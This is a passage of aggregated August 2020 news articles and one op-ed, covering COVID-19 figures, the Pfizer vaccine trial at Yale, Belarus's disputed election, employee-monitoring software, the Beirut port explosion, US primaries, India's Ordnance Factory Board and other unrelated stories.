red to green like a traffic light, no criteria are currently green. That means none has been met. The global confirmed case count for the coronavirus has now breached the 20 million mark, of which more than 6 million are currently active. The global death toll stands at 734,525, while there have been more than 12 million recoveries. Since last month, almost every day is registering a growth of 200,000 fresh cases worldwide, with India and Brazil being of the biggest contributors. In India, there are now over 2 million reported cases of coronavirus, of which 634,945 are currently active. Over 1.5 million people in the country have managed to successfully beat the infection, while ... NEW HAVEN The Yale Center for Clinical Investigation is shepherding the local phase III trials of a COVID-19 vaccine in development by Pfizer. We will begin to enroll patients through the YCCI, which is intended to assess whether or not the vaccine works to prevent the disease, Dr. Tom Balcezak, chief medical officer at Yale New Haven Hospital, announced at a Zoom press conference with Yale New Haven Hospital officials. The total randomized study will involved 30,000 patients across the country. Pfizer has been working with a German company, BioNTech. The trial subjects will come from 39 states in the United States, and from Brazil, Argentina and Germany, according to the New York Times. The U.S. government recently accounced that it will pay $1.95 billion deal for 100 million does of Pfizers vaccine, if it is effective. The goal, according to the New York Times, is to see if significantly fewer vaccinated people contract Covid-19, to determine whether the vaccine can prevent the illness. The Yale officials, which started holding regular press conferences at the start of the pandemic in March, touched on a number of issues related to the coronavirus, but also announced the promotion of Christopher OConnor to president of the Yale New Haven Health System, effective at the beginning of October. A native of New Haven, OConnor began his interest in hospital work as an orderly at the Hospital of Saint Raphael before getting his degrees in hospital administration at George Washington University and rising through the ranks at hospitals in Boston and New Orleans. He came back to New Haven as CEO of Saint Raphaels and led the merger of that institution with Yale New Haven Hospital. OConnor has been the executive vice-president and chief operating officer for the Yale New Haven Health System since 2012. Chris is an extraordinary person who is widely recognized for his leadership skills and strategic insights, Marna Borgstrom, president and CEO of the Yale New Haven Health System said in announcing his appointment. Chris truly is a courageous leader who effectively worked himself out of a job at Saint Raphaels doing what was right for that organization, its staff and its patients. It was a privilege to be able to attract him to Yale New Haven when the acquisition was complete, Borgstrom said. Also at the press conference, officials answered questions on Multi- Systems Inflammatory Syndrome, which manifests in some children who contract COVID-19. Balcezak said 40 cases have been treated at the hospital, with the last one discharged last week. All of them have done well, he said. He was asked what level of concern parents should have about their children contracting COVID-19 now that schools are opening. He said there is no immunity in any age group with respect to COVID-19, but children dont have the same mortality as the elderly and the danger is having them bring the disease back to their parents and grandparents. The American Academy of Pediatrics and Childrens Hospital Association found that 97,000 children in the U.S. tested positive for the novel coronavirus in the last two weeks in July. Balcezak said he was not surprised by the study because doctors always knew it could spread. He said there continues to be some shortages of testing across the country and the testing is being conducted mainly on people who have severe symptoms. There is probably a bias to testing fewer children than have had sniffles or coughs or fevers. Those are common symptoms in children and they may not have gotten tested with the frequency that older adults who have similar symptoms may have been tested, Balcezk said. A far as its impact of school reopenings, Balcezak said they present the same challenges as any large group gatherings. The hospital administrator said there is the possibility of spread, but that has to balanced with other factors. Balcezak said a lot of children across the United States get meals in schools and it is an important place for socialization. He said a lack of schooling can affect their normal growth and development and socialization. He said there are a number of guidelines in each state that help the local school officials on how to open schools safely. . Prior to being named president and CEO of the Hospital of Saint Raphael in 2009, OConnor served as president of Caritas St. Elizabeths Medical Center in Boston. Before that, he was vice president of clinical operations for Ochsner Clinic Foundation in New Orleans, La., where his leadership successfully guided that organization though the devastation of Hurricane Katrina. I am humbled by the opportunity to take on this leadership role, working directly with some of the most talented people in health care, said OConnor. There is so much opportunity ahead of us and I appreciate the faith that Marna and the Board have shown in me to get the job done. OConnor will be working directly with colleagues from each the Health Systems Delivery Networks, as well as the Yale School of Medicine to advance high quality care throughout the region. The board of trustees has worked closely with Marna Borgstrom to find the best and most qualified person to take on the leadership of YNHHS. We have found that person in Chris OConnor, said Vince Calarco, chairman of YNHHS. I have worked with Chris for many years and know how talented he is and how much his leadership will mean to the continued success of the Health System. He is the right person at the right time for Yale New Haven Health. As chief operating officer for Yale New Haven Health, OConnor has led a number of critical initiatives involving the Health Systems growth, including the affiliation with Lawrence + Memorial Hospital in 2016 and the acquisition of Milford Hospital by Bridgeport Hospital in 2019. OConnor also serves on the boards of Greenwich Hospital and Northeast Medical Group; and previously served on the Lawrence + Memorial Health Board. OConnor is a fellow of the American College of Healthcare Executives and serves as vice chairman of the Connecticut Hospital Association. OConnor recently served as president of the board of the Juvenile Diabetes Research Foundation of Connecticut and Western Massachusetts. mary.oleary@hearstmediact.com; 203-641-2577 The scenes in Belarus as protesters took to streets in anger at election results A Tipperary man who hosted Belarusian opposition leader Svetlana Tikhanouskaya as a child in his home has spoken of his fears for her safety. Former English teacher turned presidential candidate Ms Tikhanouskaya spent much of her teenage years in Roscrea, as part of a Chernobyl charity respite programme. Harry Deane, a co-founder of the Chernobyl Lifeline Project, fears the mother-of-two is in danger amid the worsening political crisis following the re-election of Alexander Lukashenko. "We are very worried about her now. I fear she is in danger and the days ahead are most uncertain." Sham Yesterday, Ms Tikhanouskaya (37) refused to recognise official election results which awarded Lukashenko a landslide victory. Ms Tikhanouskaya dismissed the official results as a sham and vowed to dispute them. The opposition is planning new protests in the capital, Minsk, and other cities. The brutal police crackdown drew harsh criticism from European capitals and is likely to complicate Mr Lukashenko's efforts to mend ties with the west amid tensions with his main ally and sponsor, Russia. Telling reporters she believed the election was rigged, Ms Tikhanouskaya said she considered herself the election winner and demanded authorities transfer power to the opposition. "Yesterday the voters made their choice, but the authorities did not hear us, they have broken with the people," she said. Ms Tikhanouskaya rose from obscurity in recent months to become the main challenger to the Lukashenko, who has been in power since 1996. She decided to stand for election following the jailing of her husband, a political blogger, who spoke out against the regime. Harry Deane, who remains in close contact with Svetlana, remembers her as "a lovely kid" who was "full of joy". The Deanes were approached by Svetlana's teacher in Belarus who felt she needed respite as her family lived in impoverished circumstances. "She first came at age 12 and then came seven or eight times after that. She would stay maybe three months during the summer and a month during the winter. "Her English was so good we kept her on as an interpreter and later we got her some work locally in a factory. "She was very happy as it enabled her to pay for her education and clothing. We became very close to her. She really was a lovely kid and very easy to get on with. She was so intelligent and picked up the language so fast." Together with a friend, Mr Deane set up the charity Chernobyl Lifeline Ireland. "We had families all over Ireland including the family of our ex-Taoiseach Brian Cowen, who would host children every year," Henry said. "It was a good charity. We operated differently from others in that we brought in groups of children in the months of June, July and August, and we brought them back. "Svetlana was one of the children that came back. My daughter Mary and son David and my wife were very close to her. "When she got married her first child, a little boy was born profoundly deaf. And we were able to help, and the little boy got a cochlear implant to help him hear." Afraid Even at a young age, Mr Deane remembers Tikhanouskaya had a "love of freedom and fair play." "Most of the children that did come; they wouldn't speak about the political situation in Belarus. They were afraid. She wasn't though; she would give out about it," Henry said. "We are very worried about her now. This is going to continue. Svetlana freely admits she is not interested in being president of the country. "All she wants is to release the political prisoner and to get a fair and honest general election - and let the people have their choice." RABAT - A photo exhibit at the Museum of Cultures in Lugano showcases Morocco, providing an occasion to reflect on orientalism, exoticism and the role of photography. The show called 'Marocco. Roberto Polillo. Fotografie 2005-2018' runs through September 6. The 39 artworks on display on the ground floor of Villa Malpensata are only part of the research through images dedicated by Polillo to Morocco, a country for which Europe is the Orient. The photos bring to life images of locations which a tourist could find on the catalogue of a travel agency. The photos were shot with a special technique to create fluid mages evoking Impressionism. Everything is recognizable: the huge square Jama El Fnaa in Marrakech, the dunes of Merzouga, the fortress Oudaia in Rabat, the blue walls of Chefchauen and the white ones of Asilah. And yet everything appears different. There is an exotic take - as written by Francesco Paolo Campione in the catalogue's introduction - that ''constitutes the generic and universal tendency of the soul that brings people to desire what is foreign and unknown, imagining the existence of faraway places in which more knowledge reigns, in which life is more intense and voluptuous and in which nature is better or gives better knowledge allaying the pain of existence''. Reality is only lightly touched - the pretext for a tale of Morocco which continues on the pages of the catalogue illustrated with 94 photos. It is the scientific and artistic reconstruction of the project that the Swiss museum is ready to publish online within a network of museums worldwide. Meanwhile the artist has donated five photos to the Moroccan consulate in Milan. Singapore's Olympic gold medallist Joseph Schooling (right) celebrates with compatriot Quah Zheng Wen after winning the men's 100m butterfly event at the 2019 SEA Games. (FILE PHOTO: Ted Aljibe/AFP via Getty Images) SINGAPORE Both Joseph Schooling and Quah Zheng Wen have been granted extensions of deferment from full-time National Service (NS) to train and compete in the 2021 Tokyo Olympic Games. In a media statement on Tuesday (11 August), the Ministry of Defence (Mindef) said its Armed Forces Council has approved the extensions for the two swimmers, who have qualified for the Tokyo Olympics, which was postponed from this year to July 2021 due to the ongoing COVID-19 pandemic. The applications were supported by the Ministry for Culture, Community and Youth (MCCY). I am thankful to the Ministry of Defence and the Ministry of Culture, Community and Youth (MCCY) for their support and approval in the extension of my deferment from full-time National Service, Schooling said in a media statement on Tuesday. This will allow me to continue unhindered on my Olympic journey. Training has always been and remains my first priority. Meeting criteria for deferment extension Schooling, 25, is Singapores first-ever Olympic gold medallist, and will be defending his mens 100m butterfly title in Tokyo. Quah, 23, will be taking part in his third Olympic Games, after qualifying for the mens 100m butterfly and backstroke events. Both had first applied for NS deferments to compete in the 2016 Rio de Janeiro Olympics. Subsequently, their deferments were extended for them to take part in the Tokyo Games. Mr Schooling and Mr Quah have met the criteria for deferment to be extended, Mindef said in the media statement. They have also committed to be fully focused in their preparations for the Olympic Games, in order to reach their peak form and will not undertake any additional activities such as commercial sponsorships. Should the 2021 Tokyo Olympic be cancelled, however, Mindef said that the duo will be scheduled for enlistment. Deferment to exceptional sportsmen Deferment may be granted to exceptional sportsmen who are assessed to be potential medal winners for Singapore at top-tier international competitions like the Olympic Games. Story continues Applicants will have to show why deferment is necessary for them to compete successfully at these competitions and bring national pride to Singapore. Each case is assessed in consultation with MCCY. Edwin Tong, Minister for Culture, Community and Youth, wrote in a Facebook post on Tuesday that he is glad that both Schoolings and Quahs NS deferments have been approved to be extended. Both Joseph and Zheng Wen have qualified for at least one individual event each at the Olympics. The government is fully supporting their training and preparation in their bid for Olympic success, he wrote. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore More Singapore stories: I do not admit guilt: Li Shengwu to pay $15,000 fine for peace and quiet COMMENT: A strange, subdued and necessary NDP in a time of COVID-19 NDP2020: PM Lee Hsien Loong calls NS Square new downtowns central focus, unveils its design PM Lee Hsien Loong: Holding NDP2020 symbolises Singapore's unity amid COVID-19 Many employers are using monitoring software to check that remote employees are at their desks. (Getty) Privacy organisations and data regulators have warned about employers using controversial surveillance software to check home workers are at their desks. Demand for such software has spiked in the wake of the coronavirus pandemic, with one company, Hubstaff, saying that demand has tripled since March. Other software such as Time Doctor, ActivTrak and StaffCop also helps employers keep tabs on home workers, Wired reported. In Britain, the Information Commissioners Office has launched an investigation into Barclays use of software from Sapience Analytics, which sent warnings when employees were away from desks for too long, New Statesman reported. Read more: Is your employer spying on you? Following a backlash from employees and unions, Barclays said it would only use anonymised data from the tool. A spokesman for the ICO told the Sunday Telegraph this week: People expect that they can keep their personal lives private and that they are also entitled to a degree of privacy in the workplace. If organisations wish to monitor their employees, they should be clear about its purpose and that it brings real benefits. Read More: Starlink, everything you need to know about the satellite network Organisations also need to make employees aware of the nature, extent and reasons for any monitoring. Privacy groups have warned that employers are increasingly able to insist on the use of such software, as employees worry about their jobs. Its increasingly hard to say no, said Eva Galperin, cyber security director at the California-based Electronic Frontier Foundation (EFF) group. In this economy, what are your other options, when theres 20% unemployment? It can be very coercive. Read more: Silicon Valley hubris or The Matrix in real life? Unions have warned that such surveillance tools raise the possibility of watching employees in a new level of detail. Andrew Pakes, research director at British trade union Prospect, said new monitoring tools were bringing surveillance into white collar roles and could potentially be extended across the workforce. Story continues Technology is transforming the level of intrusion and the ability for hyper surveillance, he said. Wired magazine reported this week that some remote workers were using tech tools such as separate machines and virtual machines to appear busy to employers. One Florida programmer told the magazine: My employer sent me a laptop running with all their corporate spyware on it. Right next to it is my own computer for all my personal stuff. Can they detect when I havent touched the laptop for an hour? Possibly. But Im not being paid by the hour. On 16 May 2020, the government announced the decision to corporatise the Ordnance Factory Board (OFB) to improve its autonomy, accountability and efficiency. It evoked an overwhelming response from the Armed Forces, which felt the step was overdue but suboptimal. Almost everyone wanted the OFB to be privatised on a PPP model. Simultaneously, there were discordant notes from within the OFB. The feedback indicated that the management and unions were both against the corporatisation decision. Thereafter, the MoD started the process of hiring a consultant to prepare a corporatisation roadmap. Unions opposed the move and have now given a notice to go on strike from 12 October 2020. These events are happening when the Sino-Indian situation is tense with a likelihood of conflict escalation. There is absolute clarity that the OFB is beset with major problems, the foremost being poor quality, high cost, lack of accountability, inordinate delays and a very poor work culture. The Armed Forces have never been satisfied with the output of the OFB. Very specifically, the ammunition produced by it is often unreliable, unsafe and has lower-than-specified shelf lives. As a result, huge quantities of ammunition are destroyed or rendered non-operational. It adversely affects operational readiness. National security is jeopardised. This situation is unacceptable and must be arrested. There is no doubt that reforms are necessary. Past government committees even recommended full privatisation and breaking up of the OFB. Corporatisation is the minimum reform. It is unacceptable that OFB unions are preparing to strike when the nation is almost at war. This is the time when they should be standing behind the Forces and ensuring that frontline soldiers have enough clothing, ammunition, weapons, guns and missiles to fight adversaries. The government should ban such strikes at this time. Are the workers being instigated by party politics or forces inimical to the nation? Is there a China hand behind the strike? There is obviously more to it than meets the eye. The worker unions should reflectcan the Armed Forces go on strike due to delayed supply of substandard ammunition and other warlike stores? The OFB has not improved despite huge efforts in the past at internal reform. If this situation continues, the Armed Forces will refuse to use substandard OFB products. If corporatisation is resisted, the government may rely on the private sector to meet its needs. There is no choice. The management and workers of the OFB need to see corporatisation in the correct perspective. Corporatisation does not mean their jobs are being taken away or their livelihood is at stake. The idea is to improve efficiency and the image of the OFB that is at rock bottom. There is a requirement for dialogue with the OFB as a whole. They should be made to understand the intent and necessity of corporatisation. It means turning the hidden potential and strengths of the OFB into a competitive profit system through better work culture like other DPSUs. It will actually benefit everyone in the long run. If the OFB must export weapons, there is definitely a requirement to improve its image internationally. That is feasible only through reforms. There are, however, some issues involved. The workers need to be reassured and their fears allayed. Their jobs will not be lost. Reforms will only lead to better and enhanced capacities and result in an Atmanirbhar Bharat and more jobs. The second issue is to deal with the management that consists largely of the IOFS cadre. These officers might not fit into a corporate entity. Hence some options of lateral entry into other government departments have to be thought of while fresh blood is brought in. Appointment of a consultant to recommend the corporatisation roadmap must be done with care. Foreign ones are best avoided. The OFB is a huge strategic asset. It has tremendous strengths that should be kept under wraps. Our workers are experienced. Our future plans should be safeguarded. Its transformation will take time. It should be done deliberately, in phases, with care. Reform should be as per our conditions, culture and practices. The expertise to reform exists indigenously. Further, there is considerable pre-corporatisation groundwork required. Certain structural changes should be carried out even before the consultant comes into the scene. The Board can be given financial powers equivalent to other DPSUs. The OFB can start functioning under clearly visible and foreseen verticals. The financial advisory & audit and the quality assurance systems can change. An implementation committee should be appointed to oversee the transformation on a time-bound basis. People who wrote previous reports on reforming the OFB are still in circulation. They should steer and execute what they had recommended! All stakeholders must be part of the reform. Reluctance of workers seems to be a fear of the unknown. A major problem of the OFB is the disconnect and insensitivity to users. A greater connect between the Services and the OFB must commence. There is a strong case for the DDP (MoD) to be a bespoke organisation. Mere reform of the OFB alone wont do. The MoD must also undergo a concomitant reform. The OFB is a national strategic asset with eroded roots. It needs a rebuild. If the rebuilding is done effectively, India will benefit immensely. To quote an equivalent, state-owned enterprises in China used to be called their Rust Buckets till the 90s. After reforms, they are now the engines powering China to superpower status. It is time the OFB sheds its rust bucket image and becomes Indias growth engine.(The author has guided important projects like the Dhanush 155mm gun system, streamlining of BMCS plant, making up artillery ammunition shortfalls, manufacture of Pinaka rocket systems and other new initiatives of the OFB) Lt Gen P R Shankar (Retd.) Former Director General of Artillery. Now professor in the Aerospace Dept, IIT-M (pravishankar3@gmail.com) NEWTOWN TOWNSHIP >> In the wake of several pedestrian fatalities, the Newtown Township Board of Supervisors is moving forward with a multi-pronged plan to improve safety along Sycamore Street, the townships downtown commercial corridor. At its Jan. 13 meeting, the board voted unanimously to follow the short term and long term recommendations of its traffic engineer, Derek Kennedy, who was... US House in Session for Only 3 Weeks before November Elections House Majority Leader Steny Hoyer (D-Md.) announced Monday that the House will be in session for just three weeks between now and Nov. 16. Members wont be called back to the Capitol until the week of Sept. 14, giving representatives an additional week in their districts next month. The August recess now in progress began without reaching a deal for the newest pandemic relief bill. Hoyer said that Congress members could be called back with 24-hour notice before mid-September if there is a vote on the next relief bill. Democrats and White House officials may resume talks on a coronavirus aid package they were unable to agree on earlier this month. The September schedule will follow the same format as of June and July so that we can conduct our necessary work while protecting public health. The first week of September will be dedicated to committee work, with the House in session for votes the following three weeks, said Hoyer. Mondays announcement gives incumbents one extra week to campaign in their districts before the Nov. 3 elections. However, lawmakers are under a Sept. 30 government funding deadline to pass appropriation legislation to avoid a shutdown. Hoyer criticized the Republican-led Senate for not passing the nearly $3 trillion Heroes Act and other Appropriation bills that were passed in the Democrat-controlled House. While the House acted last month to pass funding for nearly every government agency, the Senate has yet to advance a single appropriations measure. We cannot risk a government shutdown in the middle of a pandemic and an economic crisis. I hope Republicans will join us and act quickly to provide certainty that they will not shut the government down again, added Hoyer. U.S. Senate Majority Leader Mitch McConnell (R-Ky.) addressed the stalled negotiations for the current pandemic relief bill on the Senate floor Monday, criticizing Democrats for having faulty priorities. Clearly this isnt really about COVID at all. Democrats think they smell an opening they have wanted for years to make Uncle Sam bail out decades of mismanagement and broken policies in places like New York, New Jersey, and California, McConnell said. And so theyve decided that no working family anywhere in America can get another cent unless they get to create a trillion-dollar slush fund for mismanaged states, completely out of proportion to pandemic needs, added McConnell. According to a schedule released by Majority Leader the second week of September will be dedicated to committee work, and lawmakers have the option to participate remotely. Lawmakers will return in mid-September until Oct. 2 for three weeks of votes. Hoyer has scheduled members to return the week of Nov. 16 for the lame-duck session following the election. The House schedule reflects both the remote voting rule during the pandemic and the necessity of lawmakers to campaign in their districts. The House traditionally adjourns in October during an election year. Congress members offices have largely been closed during the pandemic in order to protect lawmakers and their staff from contracting the virus. I continue to urge Republicans to work with us to take immediate action to provide desperately needed relief during this coronavirus pandemic before we can begin the August district work period, Hoyer said Monday. The House continues to be on 24-hours notice to return for votes on COVID-related legislation. Connecticut voters will cast the last of the 2020 presidential primary votes Tuesday after a Democratic race that narrowed from more than 20 candidates to the now-presumptive nominee Joe Biden. While President Donald Trump and Biden's nominations are already secure, there is still some primary drama in store in other races. The two biggest races to watch Tuesday night? Rep. Ilhan Omar's battle for reelection in Minnesota and QAnon conspiracy believer Marjorie Taylor Greene's quest to join Congress despite a slew of controversial comments she made on social media. Here's what to watch for tonight. Will Ilhan Omar be a one-term congresswoman? The most high-profile election on Tuesday is Democratic Rep. Ilhan Omar's fight for a second term out of Minnesota. Omar became a controversial figure after her election in 2018 and she drew national attention when some of her comments criticizing Israel were denounced as anti-Semitic. Omar was born in Somali and came with her family to America as a refugee. She and Rep. Rashida Tlaib, D-Mich., were the first Muslim women ever elected to Congress. Omar and Tlaib, along with Reps. Alexandria Ocasio-Cortez, D-N.Y., and Ayanna Pressley, D-Mass., came to be known collectively as "the Squad" first-term congresswomen, all women of color, who established themselves as perhaps the four most progressive members in the House. Antone Melton-Meaux, a Black lawyer and mediator, has raised millions of dollars in his campaign to unseat Omar. That has included donations from Democrats who prefer a more mainstream candidate and from pro-Israel groups such as NORPAC, Pro-Israel America and Americans for Tomorrow's Future. Minnesota's 5th Congressional District is strongly Democratic, and the winner of Tuesday's Democratic primary will likely go on to victory in November. Rep. Ilhan Omar, D-Minn., speaks during a news conference in St. Paul, Minnesota, Aug. 5, 2020. Omar is hoping to retain her seat as the representative for Minnesota's 5th Congressional District. Like Omar, Melton-Meaux identifies himself as a progressive, but he argues that Omar's national profile has distracted her from delivering for the Minneapolis-area voters she represents. Story continues "She has been ineffective in Washington because she is divisive, and shes focused on her celebrity," Melton-Meaux said. Omar argues it is because she has been an effective advocate for her positions that large donors want to see her out. "Its about how effective weve actually been and how people dont want that effectiveness to continue," she said. "Organized people will always beat organized money." After their elections in 2018, Omar, Tlaib, Ocasio-Cortez and Pressley quickly became targets for conservatives, including Trump who drew bipartisan rebukes after he suggested the women "go back" to where they came from, though only Omar was not born in the U.S. 'It's breaking my heart': Greenville, NC, wrestles with fallout of Donald Trump's rally, 'send her back' chant Minnesota Democratic congressional candidate Antone Melton-Meaux speaks during a press conference on Aug. 5, 2020 in Minneapolis. Tlaib and Ocasio-Cortez have already survived primary challenges this year. On top of her controversial comments, Omar's personal life has come under scrutiny. She recently married her Washington political consultant, Tim Mynett, months after denying that they were having an affair and divorcing her first husband. Conservatives raised ethical questions and filed a federal complaint over Omars campaign paying Mynetts firm more than $1 million for advertising, fundraising and other services. The law doesnt prohibit such an arrangement. Rep. Ilhan Omar: Who is the Muslim lawmaker Donald Trump loves to attack? Will another QAnon candidate win? A Republican primary runoff election for the open seat to represent Georgia's 14th Congressional District has drawn national attention because one of the candidates, businesswoman Marjorie Taylor Greene, has expressed support for the QAnon conspiracy theory in online videos. She has also made Islamophobic comments and claimed that Black people aren't discriminated against. Greene's opponent is neurosurgeon John Cowan, who got 21% of the vote in the first round of the primary to Greene's 40%. In Georgia, if no candidate gets a majority, the top-two finishers head to a runoff. Like Greene, Cowan is a strong supporter of Trump, but Cowan warns Greene's views could make her an "embarrassment." After that June 9 vote, Politico uncovered controversial remarks Greene made in videos posted to her Facebook page from 2017 to 2019. In one, she suggested the 2018 midterms, in which Omar and Tlaib were elected, was part of "an Islamic invasion of our government." Greene also dismissed the idea that Black Americans face discrimination. "Guess what? Slavery is over," she said. "Black people have equal rights." "I know a ton of white people that are as lazy and sorry and probably worse than black people," she said in a video. "And that has everything to do with their bad choices and their personal responsibility. That is not a skin-color issue." "The most mistreated group of people in the United States today are white males," she said in another video, according to Politico. Greene is one of several 2020 Republican candidates who embrace the conspiracy theory that an anonymous figure or group in the federal government is engaged in a war to defend Trump from the "deep state" and an international network of elites engaged in child trafficking. She called QAnon a movement which the FBI has warned could incite domestic terrorism "a once-in-a-lifetime opportunity to take this global cabal of Satan-worshiping pedophiles out," according to the Atlanta Journal-Constitution. Conspiracy theories: Here's what drives people to them, no matter how wacky House Republican leaders have denounced Greene for her remarks. A spokesman for Minority Leader Kevin McCarthy, R-Calif., called Greene's comments "appalling." Minority Whip Steve Scalise, R-La., said they were "disgusting and dont reflect the values of equality and decency that make our country great." "I will be supporting Dr. Cowan," Scalise said in a statement. Despite those denunciations, Politico reported that few Republicans have actively campaigned on Cowan's behalf. Cowan has said Greene "would embarrass our state." In a recent interview he said she "deserves her own Youtube channel, and not a seat in Congress." The winner of Tuesdays runoff will be a heavy favorite against Democrat Kevin Van Ausdal in November. Republican Rep. Tom Graves, who did not seek reelection, last won the seat with over 76% of the vote in 2018. In 2017, the Cook Political Report rated the district as the 10th-most Republican in the U.S. Another trial for mail-in voting Both Minnesota and Georgia permit no-excuse absentee voting meaning you can request to vote by mail without having to provide a reason. Connecticut normally requires an excuse (military service, travel, etc.) to request an absentee ballot, but Gov. Ned Lamont issued an executive order permitting all residents to vote absentee in the primary because of the coronavirus pandemic. Many will be closely watching to see if the increased volume of mailed-in ballots causes any complications. The pandemic has driven a massive surge in voters casting their ballots by mail because of concerns about being in a crowded, indoor location. Democratic and Republican governors have issued orders similar to Lamont's, expanding absentee voting in response to the outbreak. Trump has objected to the expansion of vote-by-mail, particularly the practice of a handful of states who mail ballots to all registered voters. He correctly points out that it will lead to delayed results. Results in New York's June 23 primary where there were more than 10 times the usual number of absentee ballots were not certified until Aug. 6 and many ballots are believed to have gone uncounted, according to The New York Times. Trump also claims, without evidence, that vote-by-mail will lead to massive fraud and a rigged election. Experts say that while fraud is more common with mail-in voting, it is still statistically irrelevant. Contributing: The Associated Press This article originally appeared on USA TODAY: lhan Omar, QAnon fan Marjorie Taylor Greene: What to watch Tuesday primary Authorities in Da Nang have allowed all staff members at the municipal administration center to work from home after an official recently tested positive for the novel coronavirus. Le Trung Chinh, vice-chairman of the citys administration, has asked heads of departments and sectors to direct their officials, civil servants, public employees, and workers to utilize information technology to work from home until further notice. On August 4, the administration conducted COVID-19 tests on 1,107 civil servants and public employees at the Da Nang Administration Center. One result came back positive for the novel coronavirus, while the remainder were negative. The person who tested positive for the virus was H., who works at the municipal inspectorate. Following the detection, the management unit of the administration center extracted CCTV footage to track those who had had contact with H. as well as disinfected the entire ninth floor, where her office is located. Local health workers have also used chloramine to fumigate other areas in the buildings where H. had been to. Six officials at the citys inspectorate have been brought to a quarantine center for having close contact with H., according to Luong Cong Tuan, Da Nangs chief inspector. Other staff members of the inspectorate have been required to undergo home quarantine and have their health monitored regularly. They have been working from home and are all in stable health, Tuan elaborated. Heads of departments and offices at the administration center are in charge of making prompt reports if their employees develop any symptoms of COVID-19, according to vice-chairman Chinh. Public servants and employees are still allowed to come to the office when necessary, but they have to follow strict COVID-19 prevention measures and must be tested for the novel coronavirus beforehand. All departments must make sure online public services are operated efficiently during this period. Local residents and businesses are advised to use online public services at https://dichvucong.danang.gov.vn as well as send and receive their dossiers and documents via postal services. In urgent cases, they shall directly contact relevant agencies and units for consideration and settlement of dossiers in accordance with regulations. Tran Ngoc Thach, deputy director of the municipal Department of Information and Communications, told Tuoi Tre (Youth) newspaper that over 95 percent of the citys administrative procedures can now be carried out online. The Da Nang City Administration Center is designed to have 34 floors and a two-story basement. The building houses all headquarters of departments under the municipal Peoples Committee. More than 1,100 people work here on a daily basis. Vietnams COVID-19 tally has reached 863, with 399 having recovered and 16 deaths as of Tuesday night. The health ministry has confirmed 405 cases traced to Da Nang since July 25, when the first domestic infection was recorded there after Vietnam had gone 99 days without any documented community transmission. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! BEIRUT - The shattered city of Beirut on Tuesday marked a week since the catastrophic explosion that killed at least 171 people, injured thousands and plunged Lebanon into a deeper political crisis. Thousands of people marched near the devastated port, remembering those who died in the most destructive single blast to hit the country. They observed a minute of silence at 6:08 p.m. local time, the moment on Aug. 4 that thousands of tons of ammonium nitrate exploded in the citys port where it had been stored for more than six years, apparently with the knowledge of top political and security officials. At that moment Tuesday, church bells tolled and mosque loudspeakers recited a call to prayer. Hundreds marched through the streets of the hard-hit neighbourhood of Gemayze carrying portraits of the dead before a candlelight vigil after dusk near the port. He knew, read a poster bearing President Michel Aouns picture. Aoun, in office since 2016, said Friday he was first told of the dangerous stockpile nearly three weeks ago and immediately ordered military and security agencies to do what was needed. But he suggested his responsibility ended there, saying he had no authority over the port. Im very furious, Im enraged, Im angry, Im sad. Im hopeless, said Anthony Semaan, in his 20s, who said he came to pay respects to the victims. Like others, he said the governments resignation makes no difference. First of all, there are questions that need to be answered. And second, there are other rats that need to be brought down first, and when they are brought down then maybe we can start thinking about the future, he added. Young people carried placards, each one printed with the names of one dead in a red and a green cedar, Lebanons national symbol, and sat on stairs in the Gemayze district, facing the port. Elsewhere in the city, burials of the dead continued. The explosion has fueled outrage against top political leaders and security agencies, and led to the resignation of the government on Monday. In the wake of the disaster, documents have come to light that show that top Lebanese officials knew about the existence of the stockpile in the heart of Beirut near residential areas, and did nothing about it. Aoun pledged to all Lebanese who are in pain that I will not be silent and will not rest until the facts are revealed. He tweeted that referring the case to the Supreme Judicial Council is only the first step. It still wasnt clear what caused the fire in a port warehouse that triggered the explosion of the chemicals, which created a shock wave so powerful it was felt as far away as the island of Cyprus, more than 200 kilometres (180 miles) across the Mediterranean. From one minute to the next, the world changed for people in Beirut, said Basma Tabaja, deputy head of the International Committee of the Red Crosss delegation in Lebanon. Outgoing Health Minister Hamad Hassan said the blast killed at least 171 people, with between 30 and 40 still missing. Of the injured, 1,500 needed special treatment while 120 remain in intensive care, he said. The explosion damaged thousands of apartments and offices in the capital and came amid an unprecedented economic and financial crisis facing the country since late last year. U.N. food agency head David Beasley, who said a day earlier he is very, very concerned Lebanon could run out of bread in about two and a half weeks, told The Associated Press that the World Food Program was looking at all options to make certain there is no interruptions in the food supply. Were looking at the port of Tripoli. Were looking at all other options, trucking food in, as well as shipping food in, flying food in, whatever it takes, Beasley said. Obviously, we want to get the port operating as quickly as possible because thats the cheapest way to feed the most people. Meanwhile, efforts to form a new government got underway a day after Prime Minister Hassan Diab resigned. His government, which was supported by the militant group Hezbollah and its allies, unraveled after the deadly blast, with three ministers announcing they were quitting. His government was formed after his predecessor, Saad Hariri, stepped down in October in response to anti-government demonstrations over endemic corruption. It took months of bickering among the leadership factions before they settled on Diab. Lebanese have demanded an independent Cabinet not backed by any of the political political parties they blame for the mess they are in. Many are also calling for an independent investigation into the port explosion, saying they had zero trust in a local probe. Lebanese officials have rejected an international investigation. The government, in the last decision it made before resigning, referred the case to the Supreme Judicial Council, Lebanons top judicial body, which handles crimes infringing on national security as well as political and state security crimes. The state-run National News Agency said that after the case was referred to the Supreme Judicial Council, state prosecutor Ghassan Oueidat will continue his work as a general judicial prosecutor. NNA said that the investigation will continue by the military police and state prosecution and charges will be later filed to the judicial investigator who is to be named by the outgoing minister of justice. The ammonium nitrate, a chemical used in fertilizers and explosives, originated from a cargo ship called MV Rhosus that had been travelling from the country of Georgia to Mozambique in 2013. It made an unscheduled detour to Beirut as the Russian shipowner was struggling with debts and hoped to earn some extra cash in Lebanon. Unable to pay port fees and reportedly leaking, the ship was impounded. - Associated Press writers Bassem Mroue, Nadine Achoui-Lesage and Sarah El Deeb contributed. Parliament is considering the report of the Committee on Defence and Interior on the Security and Intelligence Agencies Bill, 2020, which when approved would provide for matters relating to the National Security Council (NSC). It would also lead to the establishment of regional and district security councils and to specify the agencies responsible for the State. Additionally, the Bill seeks to repeal the Security and Intelligence Agencies Act, 1996 (Act 526) to establish the required national security architecture to address emerging national security challenges, taking cognizance of some significant matters not catered for in Act 526. Mr Albert Kan-Dapaah, Minister for National Security who moved the motion for the second reading of the Bill, observed that the Security and Intelligence Agencies Act, 1996 (Act 526) has been in existence for over 24 years. He, however, stated that the Bill in its current form, Act 526 did not adequately reflect the security architecture of the country, and that created the need to restructure the national security architecture to adequately respond to emerging national 